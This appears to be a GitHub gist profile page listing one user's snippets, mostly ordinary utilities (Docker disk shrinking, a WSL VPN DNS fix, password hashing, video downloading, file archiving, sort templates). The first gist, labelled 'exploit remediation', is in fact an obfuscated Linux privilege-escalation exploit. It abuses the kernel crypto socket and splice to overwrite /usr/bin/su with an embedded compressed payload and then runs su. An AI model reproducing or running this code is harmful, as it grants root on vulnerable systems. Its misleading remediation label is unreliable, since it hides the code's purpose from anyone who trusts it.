Skip to content

Instantly share code, notes, and snippets.

View MatMercer's full-sized avatar
🎯
Focusing

Mateus Mercer MatMercer

🎯
Focusing
View GitHub Profile
@MatMercer
MatMercer / copy_fail_exp.py
Created April 30, 2026 12:20
copy fail exploit remediation
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")
@MatMercer
MatMercer / shrink-docker-desktop-vhdx.ps1
Created July 4, 2024 20:15
Shrink docker desktop too huge virtual disk. Shrink docker desktop ext4 WSL Windows 10 11
# Script to shrink docker desktop data, a common issue at WSL 2
# Most of the script is generated with ChatGPT
# Check if the script is running as administrator
$currentUser = [Security.Principal.WindowsIdentity]::GetCurrent()
$adminRole = [Security.Principal.WindowsBuiltInRole]::Administrator
$currentPrincipal = New-Object Security.Principal.WindowsPrincipal($currentUser)
if (-not $currentPrincipal.IsInRole($adminRole)) {
Write-Host "Requesting administrator privileges..."
Start-Process powershell -ArgumentList "-NoProfile -ExecutionPolicy Bypass -File `"$PSCommandPath`"" -Verb RunAs
@MatMercer
MatMercer / README.md
Created January 28, 2023 19:53
Generate bcrypt password from command line

Generate a 16 chars password

excludechars=\`

htpasswd -bnBC 10 "" $(pwgen -sncBy -r "$excludechars" 16 1 | tee /dev/tty | tr -d '\n') | tr -d ':'
  • htpasswd -bnBC 10 ""
    • -b use password from command line
@MatMercer
MatMercer / yt-dl-termux.sh
Last active September 29, 2025 22:34
Download youtube, twitter, youtube shorts, tiktok, reddit videos with termux app in android
#!/bin/sh
# helper script to download videos using termux and auto-indexing them
#
# required apps:
# termux: https://f-droid.org/en/packages/com.termux/
# termux-api: https://f-droid.org/en/packages/com.termux.api/
# required packages
# termux-api, python: apt install termux-api python python3
@MatMercer
MatMercer / archive.sh
Created April 4, 2022 16:47
Archive files by year and month from the current folder in bash
#!/bin/bash
currentYearMonth=$(date "+%Y-%m")
echo "Ignoring files from $currentYearMonth"
find . -maxdepth 1 -not -name "archive.sh" -print0 | while read -d $'\0' file
do
excludeDate=0
[[ "$file" =~ [0-9]{4}-[0-9]{2} ]] && excludeDate=1
@MatMercer
MatMercer / wsl-vpn-fix.sh
Last active February 28, 2026 15:10
Fix WSL 2 DNS resolution when connected to Cisco AnyConnect VPN
#!/bin/bash
#--------------------------------------------------------------------------------#
# #
# Fix WSL DNS resolution with Cisco AnyConnect #
# #
# ! Don't forget to set this configuration in /etc/wsl.conf: #
# [network] #
# generateResolvConf = false #
# #
# Based on: #
@MatMercer
MatMercer / explode.py
Last active March 27, 2021 17:55
Explode notifications in your computer - pip install notify-py
# CREATES 100 notifications in your desktop, super dangerous script, beware
from notifypy import Notify
import threading
ammount = 100
def notify(num):
notification = Notify()
notification.title = "Cool Title: " + str(num)
@MatMercer
MatMercer / main.cpp
Created January 16, 2021 23:07
Sort algorithms with struct templates in C++
#include <iostream>
#include <vector>
#include "sortalgs.h"
int main(int argc, char **argv) {
std::vector<int> v = {1, 5, 2, 3, -3, -2, -1, 0, 3, 1};
sortalg<Bubble>::sort(v.begin(), v.end());
auto start = v.begin();
@MatMercer
MatMercer / states.js
Last active December 27, 2019 02:21
Simple way of having a clean code in JS using object literals
var capitalByState = {
'MG': 'Belo Horizonte',
'PR': 'Curitiba',
'SP': 'São Paulo'
} // Allocated only one time and the data isn't INSIDE the function
// so 'capitalByState' can come from a external source!
var States = {};
States.getCapitalCity = state => capitalByState[state] || 'Not Found'; // Again, allocated only one time, simulates static
// ==UserScript==
// @name New Userscript
// @namespace http://tampermonkey.net/
// @version 0.1
// @description try to take over the world!
// @author You
// @match *://*/*
// @grant none
// @require https://code.jquery.com/jquery-3.4.1.slim.min.js
// ==/UserScript==